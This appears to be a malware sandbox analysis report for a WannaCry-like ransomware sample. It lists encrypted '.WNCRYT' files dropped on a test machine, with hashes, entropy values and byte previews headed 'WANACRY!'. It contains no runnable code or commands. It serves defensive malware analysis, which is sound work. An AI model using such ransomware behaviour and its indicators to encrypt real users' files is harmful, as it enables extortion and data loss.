                                      Preview:WANACRY!...........8f....../..Jp....m@n.U...}u"t$............`.....Y.lY...O...o/.......T...K#..-.y.lF[.f=...0..G.d....'.r].W;..s......e.8.f.,..b.$<.1q...N.&u-..D.Y..._.s.Rs"]..;%.......S....v...J...s...Ok.6.B...]c...........h..z....+.LaKM/?...B....G.....................).K.....\AI..g.&g..N......V.9;Q.y...M..K.QY.....a..SE...$L]|P^V.....P.%.+b.....Fes5...Z)l&..+..i..m}6...K'P..q~8:.Gb..O..@)>.........+..2.....4..4U=..1.P..Fc...Bc..>a.....#..`....'....u..w.:.....H..".Q.L.s.w.f.pW.....c....'.r...9.n.p.xVq0D..P'..n......t.H...&....... *_fg;.......{.).R.....|.4R..|K........k..3|..<C.y.1N....n......&.w.1..=..../.K8*.C.uyJ....Y.....+.PG..Ae..x.f...@.k.!=..V....)....._'$...$.b...Y.F.........lUR1..G....L...q.&p...K.......x!..Mp. ..]<.[&......3.*..%..5.H.$9.9....L.=..I.d...!........9<P...j.x}.....z...l(.../.h.C/...,.A.U[..p...>l;0).h2.]@.....h..y"7.`.7'..F"R4.....(....>..t...7.m....jL..1...RZ..4,"..yM%...../...pp......e....?S@>f...V....P.R.~..s.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VAMYDFPUND.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.844259465974809
                                      Encrypted:false
                                      SSDEEP:24:bk+0OdkIsz3U5DyczKpg0YYjsvJD4QsQlebw3yKMqoYqc5HeuwvZdJCfx1:bk+06khUdpzOg0nsvJDhs6K0Mqt+uQzo
                                      MD5:C20723D7C065415E4702A18BA6E6C20C
                                      SHA1:B5E69F953DE22CB463A4B0E9F07A0A48AE0CB6AB
                                      SHA-256:36A8466C6628BA891A7EA9295E987D3CC3D9DB7236883E07771DC6CB168ACD57
                                      SHA-512:F644FB81ACD7CA56ADF3906A578F737A51998543EB2AEA9C7B670BBD6C92AF86B9B1C2F0B7484A5F1DAF1C286A69B3C98C2D2D2877D8D12BD81AF3FC74890ECE
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......h..|..U...V..9....?.!\..J.X...t.i-..;..DZb}..I.l..4?.!..1~....j1.j.......:...@.;.q.Nk.[.4.g.cY...........W.. &..+......{..F0..O.....%1...8..(%....~f.4.....5..>.."....xi~B...S..N.....S.jj.S...7.;v.UZMn....9..qke..+.s........(T...g..Bfg............../}.....>..r....1.....).r.H./R...........!.8P........?.pZ.@2=....Z....z..a.|...y.R.5.!N...E.N...O.....x.E;...Z...c:.(.!.^........6o`) L.a...p...L.)..o.HT...-b7.-"....t&..pc.$..g..+2Vc-1..5'..M.t.aT..iZ.._.1g.Rj|i.eE\.@..C.C.C..t..xo.e..L..J..v7..+......N.......].:.,.#.TIq...[...N.....%Z...... ..u.XPn..E..Ag.'..V...z.`...\......d.K[..Qn.......3v..`...c0..9...sRL.F.k...>Ft*.F.k.W.gJ{7D......F.'`.M......e.`..$7....f@......o....N.d'..x..tD.....<.F....+'..|:.Z..[0c..+.?..k.:..*H...r.....]..;...Xj].a.;D:b.\./#..K......u....f.r..ss.'..>Q_o~]|.[..*..8....blH..W\...t3.Avs.....F.....T.U..T.Z<i..7..o..;.....l.a....!.D..N.g1....i...$..{.CA..x.........,H.....*.V._......W.@*^...:.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VAMYDFPUND.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.834085523425231
                                      Encrypted:false
                                      SSDEEP:24:bkRz19lI3xKVDfV9OTpYsdeEPh4NEIWz5bTdqqf8Ne3fxGddJZ30:bkjjI3w7V9OTDeEZ4NA5bTdkk3fxGdd8
                                      MD5:7E9DC7F333E59486EAB78CBA1551EE5C
                                      SHA1:C2E323091A5D64E431BF21ABDEF944C67C6AEC39
                                      SHA-256:34A5D9B98F0507BA04D347882D3B845C1BE8865E4CD2434D80F2E0CE614F7E00
                                      SHA-512:95AA11B23F3A786DDC3F62C32599F7217A3F31F0B6F8DEFE0BBDFE8A8A77B328A4D69B01995332BB97EC7F3026251FE6E6CD6A62D15770B98ED5BCE82E24E982
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....@.`>.........i.....m.#.......%......o.]_........l >..=...f.z...OV....V..b../.<..... f .4o..@].s...L.'...$.....g..U/|2a.K#h...g$.s...[...........L...h`...g.3.....S..*.=R.=zu..}...A.K..sF..7.2..$.6....o.O.........7.`.....x..k..$.5qK@_.-..).&.!P,\..............:..GT...}W......3..y...=...9D.....[.;.....{..d.+#.V1....gK....f.[..&.'""H.B..*p. ..C..U.k...$.rN.......w..<...7.\..&.[..{Tc.*(..q.A$.......y....0`..7L*.S.Y.`.'....;.1.....Q.C..?..68D.\..g.=zm..p..|zI.F.....x.RWg..s.g....t..B......U`D.....c...v%...q..N..)...a...x=.R.D).,..%...............KAu.qlT.:!.P..z.?..........a.@.:4.,..........}rQ..1.b...E.XI......).P.5. ....!......;..?,..=J...$.=...p7....].'....e~.n#.p.U.=.*...V.....i. ..4...8R74n}.B&.GC..Zk...+...&w...?...5..4\...........{.,.V.......A..}...|.....o4.D...Hf...[.0k..%.JCeQ..?g.x.....?.#\u....+.......`..3O..r5Y....*-.e..3..w.....Y.Z.0.H..P.. .n.G...I.j...P....ur...J....r........I#HO....FN.......G..z..&.?....(_...

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VPTSPNZWNI.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.845172848785674
                                      Encrypted:false
                                      SSDEEP:24:bkwDP7LnFSMWIaMpRiyxY7cZl2Xi6eJ3kOT8+ERIv0HQSCstoYluRJfNxxL8gCoW:bkwDPXFS4aWYO8iTJ3ZREHHQSIaAS
                                      MD5:D0F7B1D08DFEF7C1DCB65757CEE8836E
                                      SHA1:56BAFF1262B35323D38A294EDD983616D3433520
                                      SHA-256:B9DF048C4631D52D7037695996320F929A963B6B49C9DEEBE18A4DD994AC595A
                                      SHA-512:7D86555631E293ECD19B18D05DBA4C8328A9FEDDC35BA54D68E884B0B24E45198F3B7096C5176FEC87209336ADFDD5C935C372300CEACA993B8B48DCBA02CDF6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....m~v*XD.7...Pb..h..T.;...+...`..c.M.nt....-....{...{.n...._..........k.".?#M.x3.......R.....2w..Z.....p?cb7.#_..T.fd.....=..&H..w.........5z.....V:.].V\....t..[.......<...j|x.M.#....>G9..'.4~8.>#o...LE.R. ..C...x.E...P=.....m...%.......f..I .c..:...............\...#o.5.Z.]A^..4.c|. ....c.8..T..H.b.*\g....t].....Zu.y`1U.k..w,)`qf..V........>.[..}Qn...<...<.r..oHK...dx...N.r+...u,..N..Oz...V.;.5PL...v....D...fr....dI.%R..{g5.J.. ../........[G..Eo.w...U.P.'.....JgP...5.I..)..)tuh.|.I!.............@I..s...f...MW.ij/...<[..{...W@=....L.......8.y6...R..n.z..i..2."/+..FvbX.d{..B..9.............$ni...*...^.gO...@...}40A..l.H.....$.,....I.....T...;..h.Y..cy..T..<Z.L.t.l....yw...r.V".a.....'t....Dw#..M..u....Hwo..].B.%.........!.y.rj.)........Ac.s.n.....m\..n...vF.:O..4.y.0q.....x.AU.r.uj@.....P...'.-.{5E.....N..z?.. X;.Q.?|..1Zj.y.MH.7O.E..;.M...b.kZ.../......E........B..-0cN*2=. ..R...Jo.>..5....m-..I....7M/.z...............x...=.."..`....

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WKXEWIOTXI.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.81777327284388
                                      Encrypted:false
                                      SSDEEP:24:bkqZ5VdghrTETjxeWOuQaUZ13kh5LGUfd8+PqUOxVT70+UXSigAFv:bkqZ5IVERCZ13iJfa+xyT70+7jov
                                      MD5:CFD559743E6F3D6E2C9C6E173C22E6EC
                                      SHA1:A786605A09947E74FE767A824EC71DEBBC3A5CFA
                                      SHA-256:C59E93441D6811E9BF0DCC76AAB7F7EEF64D92011C8BE4AB30B502A5CFCB679D
                                      SHA-512:48C93D13D365BE9BD8AB2D68AED02FF9FD3DADB1AF97E91D86A46B65708528E9B6DD9162E1B3F6929C77F8BED829F5DD4BE75C70D94E596F03304A7E38D64FA3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!...../z......B.{..G.......3.b@..;9.O ..|F.h"......sw...a....X.@l.......e.H.!.V.,.)....:.."]#..G..u.7.,.<.}X....,.$.,TR...2......^.Dby6.=.....(9qu..v[..Xv(..5xQ.......9.f.?R.....f (*CM...bmq..'.}4.3.........).K....R..G,.....G..[.h..:..:..m.JUC."F.|.|.............X.)^b~.....R+.aRq=.E@....,.........`.f..>.....q....=c-w.x0^.5..B........2j.#?1F.A..6.M..wQK+..v{.....z.O. ,9#..n0]..=..D.....6..r.zd..V...v(/...c../6.\.%...Q.......-3..k(.piw....`..,...$. k*,7.$.x.kV...zF._.I....7..D-9...7.....@#i.d.....0...7...gi.K....#.(....@..j...r".M.SU....O....7b.I{..1S......dJ...52.I.v~..%...O.wy.x..3.E.U[I..r.]S........]&...<<.k.....5.Y...+#.t&.Y...3&.[[..+.^.Ra..."p....7.7......\...gbs........S.....^.=.../..=i....r..............o.L.F3.......p........^.I'.fSu...rM....0..2..E.@H.%..K',d.......m..`Q..W.Yaq....;G.6....H..#:...S.^.v.._.Sya.m.{a.....0.....+.....4.....G..x.c..3A.fx..X`.9............].J....Z.N.;.-B9._+.ggnu-.$E.f....e9.,w.....;...(....XX..

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WKXEWIOTXI.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.840852475393061
                                      Encrypted:false
                                      SSDEEP:24:bkdNJciKBruBjydjn71kj4N7BbtHqnvCSq+7vI7KY64OArkhwTKeoOT:bkb6BuBj0jnej4bbtHeKSq+jIyAwhmK8
                                      MD5:EF80D78D29C2BC10F118937FD7E20B8E
                                      SHA1:CCCCF60EB568B17EA836DBBE8EE78C7426C708E4
                                      SHA-256:D0CBA4A0D6B8982462FEFE9258991E82347537001FEA6E5F108D4B230A6C4E3A
                                      SHA-512:F4E6F1F2C037150AE5CBB807879B7A855E1B171B615FD5FA84580639EA00E840DE2AE6FAA25D43CD33F99166FC3AC45ABD2E71CCACA21D254B3EFB222F9C8DBB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......j....P....R...XL2%.R.:..0!.d=.....eu........./.*..L9ciQ....=1...hX.l.......|../S..F)..4<^.Q[...V.E.n..K.u.,.,..k`d.....{.J4......;z]{.Y.W>;.L...J..R.g.z...X.X.....m..n&.ls..`M1.^..V.....1...4dG~..-X~.N....q..=...}y..../..M..Df.?.!.!.8....] ............H%.x..a...$>.s.J..Q.......Y..M.<...R.@.....2G..E...7<x.(..M...,...T.[..{P.J[...]!...}.*...;..c.=..hB..O..........Gi..C.e....;..J.J....4...a..._.st.J...$.!j.%.AWbd0&.#0r..E..A@k..(^S.Dw.,..!..0..t.....4q.....8.]..1....lwb1...}. 3_.M.....\l...Lj..?g...s0.....u...U..Y..t........g%..8.....QS...%N..#].-X..NOL...aw.....N....%o.._u...F....ODK~)PP.2.......q......GSU..d!7.&}.....A.,....}..\T...a.1..x0~......>.]..[R.+wRw...M.{jB...N. 9.$..*..t.,+K~B.`*.+.5...m..6.^$b.u...N'y.aQ....B?N.AI..6..........hFM.W!...........h..+.|=sQs.......X.JS.t..CWp50o.....7&S0;...;.p.:........s7.@n.S.mc.lo5=...].....Nf......n..<.=...`N&F.............'.B....... ."..`.1.a.]....R..Bza..4..R..%G.P97.mOv.......

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.841045343130748
                                      Encrypted:false
                                      SSDEEP:24:bkfG1+lNmUBPj/E053RFXztR4+Acc+gZjA1s/XtqF3UOmvv7mzr:bkfG1+lLNtXztRMccbZjA18Xe3UL7+
                                      MD5:538BAB8FBD0E87F23907BBCC33B48C7C
                                      SHA1:66D5C4C211700B0AFECACD46F9D08046A1451F4A
                                      SHA-256:3A283A97390713E6F4B18B2CB02216F4D1D80F303419E873BB9F7AEA51CB0F68
                                      SHA-512:2437FBDB522EC44E5F9E53014DEF068B70A35EDFA429CD8177C0E35BBEEAFD1A9CE9DEB21A447B63D1361819AF011805638BF99621FB8B96641E1D1014E2F778
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......m..md...3W...^...P0...3..y.?x...`AP..`...H.V.*>Z..}.......6.......M.....&+.p..C..u.I....Ar..xE..%U^.L......ta[.O..U...A..p[.k..5....>L?=[..!...c...Qg*U......n.#O..P..r.*.=B=....y...4-M.$&....y.G..2.....!..C.....y.o..!dj.....\..a..Y......f.....z............).w#.6.L...qZ......_*...%A....F._,Z>.U.@.h.j)s...O..l..>j5.Y..b.0..W..p:...D.X:GY$..NA}....M..a.LT....=.h(/.|......K.._+<....$...l.=Nh..K{.O...&.S.s.....e.*.h...r...,rG...$..-Q...'..,~.>r.DT.|.......OE=.X=.../..4.:....q6........Q$..*..'.c,................t..../e..Z.NE.Y/.!.1.._...M.X..A....J...R..m...b.?....m/..@7.q.kC.....\..K..1.ink...%w.e..ef...........D.i/>zQ..e...`{.......^.$............=....T5f".'9.....eF>cw.9|5m.........U ..T.=b.......h..:.}..s.S..K.~<..kM T3...9"*.....d[...........X.h...'EX...W.A...z..6..%...?&...e._n.l.`....~.o.. ..t.H...rk.3....o..]..u...P...........9.../7*...A<(5c.Bk5....6N.xve..T....w...#.s..5...:l..q.....4.M'..../...3^..}..mm.\.-1....L..%.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.845863476895587
                                      Encrypted:false
                                      SSDEEP:24:bkiplD12P5Rk3fhCJ3IdlKR/2fpst/y1/QZXZGVrpwsfREbm9bNoWvEfxEhN:bkwp1qPiMKKHGVrGsfR7NNoNfxEP
                                      MD5:72A420FE3808004E2D3B914090F461D5
                                      SHA1:9124EF524C704FC488E5703F181488928ED08C2E
                                      SHA-256:7DB83CE831A339B1EF3D6BD87112CB8D79F8EACC8A5982EA74A7208C538D8989
                                      SHA-512:3413E8DC21AA64560A16E1B76DD57122EB7279EABA879ABE287297DA34233BCD5EF16832FF90DCDB5526A60AE3540477423CD78E19A163B53F2AA0F9FCF2571D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....w...-.n..:..0d..1...}....]?..-..d....Eaq..#Q.[...z..n..?..z.....=gU......{..J6..S.q3.,y.79.U....j;.b|8s..S.m<}.v.T},.1.4.0....QA.m$O.fT....I.+..z....7\I...1..rl[(..0.*...J...9Y.<..ze.V..6......&.EPO.u7lO.;.V....h..x..j.5.3.Z........Qa..9.9w.<............?. [Z...b....|..n..a.....;%.3}.?X..;!............;.5!.t~...<nM..F.....wjQ.o.@g.8?%...o.b..E.t{;_.I...b.T..E|.%...)[......x-X.n1[....4.H..`..?...y#.9.._f..[%=.K....I.S.=.g..B..........K..n...f..>?.>t./....vC..7.HF......Hq(......U..#.s.|........x........L....w.........h..$Fs..\...[.].._.M'...q.|N......NWw.(#..5...Q..|n.XQ.bN_R.U...<.....f..S.t....i.+..`5}.`...!D[,.,.J.gK.*."...../..W.Kko.t...B.-...:.iK.i0.6.o...+. .j..r.:-...3<%.z..U...X./@.7\Y....|.a.._.Y.../.......8V$....S,..7.T..p...u..g....-..wk....`.h.,%.._.,L.....rQ...S(J..i._..Bj..>....s`&.t....O.../...A.m........,E._.=.TZ..$].>&I....p.*..b..1..{.+..I?.Y.+J8S.Z~..............Y.g.W...I.....J.......U0_~...Tt,..ndRA..i...s.`.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8381256085498
                                      Encrypted:false
                                      SSDEEP:24:bkfmJeBT34vN9MqRMpkZKey1f9+60DkQjHT7p7HZMK0YYKaioO:bkuu89MqRMUK71F+fDkQrvByu3oO
                                      MD5:0036489477D958F95B1940775ED96200
                                      SHA1:96EAA1ED6B1A0A168CBBD50F27806AFECC3AF95A
                                      SHA-256:2239FEF6DAA51645A70EAE4BE0F5D2ECA202601C6760007462B0541F579122A5
                                      SHA-512:AC5E31D52243537A3BCFAF57FF9FA0BD7BF14ACEEFEB81475FE8AFCC7E46DF73BFE81C09A7BA465817C7A6F6901D0132AD95552865D8D6FD394ABEEA003D6EA7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......9JL...p....kc.Y5.S.T4.......^v.S.).......v;..0r..C.%jG (..8.F..T.#....v..Bu_..HX...q.r.....*...d:c.`J..}.nv.9.&....@....w..P..C....V........:yA..}...Mo..Z.Ua%.p0.I.......\.\....p`.#.4.@}..f.Z..bh..8.+..H...n.5<?...:`..V.U`.asfo....$-...V...............T...E.H.0.oAVqP.....I='....}...gN..9....Hu.3..tB.....'uq.V...P...Lk...._........=F.......|.....z....e{w$3.ESV.t..'@p.....\.....Ic..:...,....=7....1.......?.</aJ........CS...;~...N.:.m/..V..\..b...._t6C/..4?.7'.E...pC....O..T...@.s....Q..q.*...)J..!...g.....]....Y.../.n.Q.......c..fY.D.t:..?....@...kC...W}#.Q.:..&a\f...6B1.....c...V..n..r...H$,.}E......)..tBs_."..?R...B...).E..&.S..(......>v.p.V.QgJ..e.[._.....Uu.W<..[..Q.k....^...%.}..UT.........pzk...U.....A6>....c.gkK....j;..k7...g..:..h<RJ].<.. ..B>q).c...S.Iy.8ZI2D.|...A[_.Y..C.C.).m.T..V..U......^.V.s..g<<...n.U>......1w...X..$....GX.w......M.g8`.......9 ...xL....?.D]..t..m.@.zq......;..m.......s.J.X?..Wi. ...q*.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZTGJILHXQB.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.837987191937544
                                      Encrypted:false
                                      SSDEEP:24:bkkI5ge+IMfHrvcvREDqwMN+8LUCusp989GpDfzHVPuqy30m1b:bkkI5ifQvuDso8LUCuspGGpDxPubH1b
                                      MD5:063285C72FB5C9C0DBE0876D02C158F9
                                      SHA1:E9E574C9FDB920F5588617D5CC6FF09A3FB2D613
                                      SHA-256:DAE70595400C3B20210A2B36E5BD74DD5B37731CBB24838DEBB171C27695A066
                                      SHA-512:5D0A2D690E5523D7659C3A0FE926DDF6ADA498C72FBD23067327D011735DEC9EA1EFEEE283D7498E839B89A4D3A6350E534BC817921044120A7EE821617FCD6E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....<.NZ.......(n.".|.+N..\...*.6.Q.......Y.x./...g....T#G...........r.&......-.P..u8.3o8......s.......7.."Vt..H.'.U.3...&..I'..T........5..........a.*1.K.n........H#.d.....?..z....nS...u.;1.*.....M.f...V....l........I,|.C..7..Z..RAr6.%...V.&..d.|<[.............w.n...m..].4.5....B.r.oEC...D.~..5.r^H.f.....Xr.La.].o'.m.[.....,..pfJN....%...~T...[@j.o5..%....iuS....u=f..i+...}...a[5.d..d .l...-.=%..=...W8z<..4}.I....{.n......k.t..|j!...=_..U..x...hu.T.L/.#...*.v....r..Qx[|t.&.F..v...[..r...%.......HC?....._....I.1.....(........d.;.1,s.c..+........./>R9.n@0..w.[l.c'..'X..Xk.PPW.....z"..8l...*)..().m]....".......R6..Y.k........`BDmm=2h.aJ..\.[...q~.BpU.TyO........&`}8.ixPb..;.j.h5..+y..n0._.0.....\...N\.....i..r@..~9...6w...<..`o....]...~..dm:.=W0..l....e.{.....J.M"].Pv..E..`..P..aA.R0...K...|.>}..c.......$.RK.r.P..........h...k.:..,.F`t..yyb.`5.._|..2.d. ....,...i...*}...P...h..E.."..k..&ixO.X./C.s.d....T..V..../'|.....<..{..7M...W..w.o.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZTGJILHXQB.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.850167354055032
                                      Encrypted:false
                                      SSDEEP:24:bkMYXOSv1ZpJ8Usy8HlW8eWZPN7NFgnn+V8RO7JEwe7IMMDj4E7XBHWz:bkMYew1bGhfRN7InnlIJ27I9EUXQz
                                      MD5:4C813E8E80DD71C5B2C478C28F0E7B8F
                                      SHA1:0508DC8F48DFA6E5D468FEC600E95B9729794067
                                      SHA-256:AE63E1EB78E8215DE43A7E76B1F92BC52342F752425593BE3432F18B14B6EE21
                                      SHA-512:E3B551720802EC173A0EA09F17CD17FA78B134B44E818B382CA65479F2C565A9143678D3EE1E341F79A33FBBB6CA77239485F86A4EB604AF4F3BA1E4A78532EA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......t.}......1i.z......_.....i71"..-q...g...j:.A.j.y.}...~......9.+e.}..|...b....K^....R/'..zt...x.z............V+^?...........[.B...V......A.bD.U..8a.>.O..T#.x0.o._.b...!..u........6....;.].,.H.)ph...|:.w...u...4.1..a..!......I2m.....=............|e.Z.. HQ.........`..ekv............>..r....BM..C.O...;._Z....=u....).$0..%w.D+O.J....y....v...dJ...k6.b...x...I...3.....E(lL..f..:..R0.w....H..d...*..d...X.../......X..zp.]....o...Z...W.......#.c.......pd{. .M{.......!.).....xTh.5&...6.q.13..y.C.....DDB..Z./..;>.+t.E..A:45."....Y..G.iDg.......S..|a...qJ.........]........d.......X..|.Vw...Z....A./......[j.I.oX.\.. F.....*..2...).}.N..mq.W.Ya.....~.a~V.#....x5.a...m...../.R....j.....c....:./...~...ek....RP...`..L.Wg..i^.c...,.V@s.`...IP.{..X...B.z.Y.n..yDy...%..w....W....iD..6....6..../7.......Yd....8.~{....M.Y..9..P..<0...G.Y.,.j.........S.......!X.........Z.../.....-....S.=.2...cRuY ...90r...~...........:.&....x\$7rN%.7.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1024_768_POS4.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):40984
                                      Entropy (8bit):7.99504337951622
                                      Encrypted:true
                                      SSDEEP:768:yBx1XnYFDVXs3AbitoGn5RImTmwX9Hc4Ge/nvdHtLbdJBaiHAk/JN:yz1XYFZYmGDXrGCvvLbNaHk/f
                                      MD5:77E4A94F4569C1B769A70D498F0FF201
                                      SHA1:816194490C486630BB02E8F5AC67630224882B20
                                      SHA-256:5864A37401A74E70E74A6A2EA5DA68DC09C4E6CE2540F61EAE973970136AE324
                                      SHA-512:57BE0F41DF67BD4758EAE94BDB664BA5D647A1CDD36500D32BB655186EC6056F561CE3463E200AE1EFC273325053FD637D860D1FC7C4C4DD0A0FF5CE94695DE6
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......s...{...;!Iv]}...2.MQU>3......V'GQ......j...r..YQ.../..:.b..H....U..y.l.Q..-.`vNt.......7.M'..m..4.o...$.........bV..T9.ak.JY....7.........p..7..._I...7~..)m^.q${.I...52i./.].gS.6.X....2k.A.#.3.O:).o&.....V...;5..V_)r..'.aR-.D>{^[..s;.X".............~...rn.$.E....s...n.....gu0..G....Y..(,...;....9ml.p0...#.Z..(....#/.}..2....G.%.%........|.Tr....f..p..g....IL...._,kl".f.+...()qqv/A.`bj.._..b(`...k......Bs..K.Z......mp..j.....x........l..d......+A<Z.Q..C..4p..%*{..z....f..........t:......A%..*J..s.%.*..D......".J.7.....m..C.^...z..N...t.A`.......j........<.s....:<......R./GFF.P-R...`d.. .U..Y..h....R....w.{......C..U}.a..u\.h....q.aB.'=..Q.}..l.=.....I."m.X.. q*..6.Z.....e....2.}.P..?* ....*2......&....S...51R.).c]>.$....o...xLY.G]....c.G...1....Rn4...:JG.m..!.v.......;,..B...b..R.m.3HEb}..^.}.@.9.m.)....@.).s.d.H.>..].............mg..v.w...$.....C..........+..x.A.J.H..t..[..-U..&@C...[...>.b&h.H.<Y..)....5..(.y..K*..@

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1920_1080_POS4.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):125288
                                      Entropy (8bit):7.998444938739309
                                      Encrypted:true
                                      SSDEEP:3072:P63a1mGWYovssmOLA72AxReLIoeWNlGl6NuxwVQC+DHl3:P6KVsRA728neuxwV7+DF3
                                      MD5:C9936681CA49F2D2C5024EF78C85DAAC
                                      SHA1:8F53EC98D2B203140338433B04615B9937E8AC7B
                                      SHA-256:E5A8C6A15F7FBAFB3588155CF2B062B7185B567757684C309A435A0D01B06A24
                                      SHA-512:D52D41944D9C380DCB37BB464888554493817405C062B963C7A7F4BA2F609D8B969D62EBB716D69909B9505F76B86FAC6F9BC25B24725E1A7D99E872FE37A8D3
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....V.4.H,&oC.3P.Y?.). ...2...r2Ojug}..xy..w.s.io..l^..H..ss.......*.M.. .n.i...a..........8....3.M5.u.F.+J$I....<.V...........DkGY..(a.X.....^......(.9r..k.eD..W....v|.$A...*<..,.)... ...'.....+.X...r.!<...L.l...g.._...#<..Nb..-.e<&.......#...1........D........Y......H.zqyq....#8.gW...L.Im\......d3.1.c.J.....;......t..*9..7...QK..:8`..z.mh..&.0v?...As.0k..U^.....V.......).D1Jp0.d....x..t.u....M`xo0........J.l.v.,b.}S.-........r'..w.....+R.2.L3...S=w.7..gC.W.....wO.l.....2<$..O.c,...DX.!=.$...#y..v8.B......V......#+.M<..T.../n.......{...c..n#.\:s...........o.T6v.1y.C.5..<...F.[.?............Tls...+...aG..F.n..C...).~.1..C.}V(....+\u.NU.*."@L..4"..>$.]....a..p.za..v.......7}...@. ....\G*.B..Hz.}.'B...#i.{K.=r/iY.. .i...........Q.....A^.5.S-...#.*...FO.~...,E..6_....0...U....,kxU.`.lJ...`...4>|./..3.._.....g...f....(.C...)M.....B..{.BJ!..[..v..q~fc.v.m...4N.7..|;.........&.1.,,.i%..g....d..|V..1$.wD.zC..%.O.........u.G....\&..j.4..N...

                                      C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\AlternateServices.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):888
                                      Entropy (8bit):7.788855663395508
                                      Encrypted:false
                                      SSDEEP:24:bkpFOkfYzUNKqycUoGb6yQCJa4ntbQZ0wI9wP7rQyn3M6qan:bkjJfYj1pntq0YTrv8In
                                      MD5:570BEF9C2537B7743D40383906AAD81B
                                      SHA1:A8DC5CD37D92869813F31DF1EF0F9A5236EBA362
                                      SHA-256:FF044F60BE28A6AED2ABDF27E1DA4191A26185577B1194EC122C4018315D9386
                                      SHA-512:980EF729F2B5E232D94FBBA444EDFB9F398F5A942E0B8A647AF54139DF2412B30AC65B45F242425E1724396377DD1FE17BB8BEBB8A4814EFC50DA3A203F77595
                                      Malicious:false
                                      Reputation:unknown
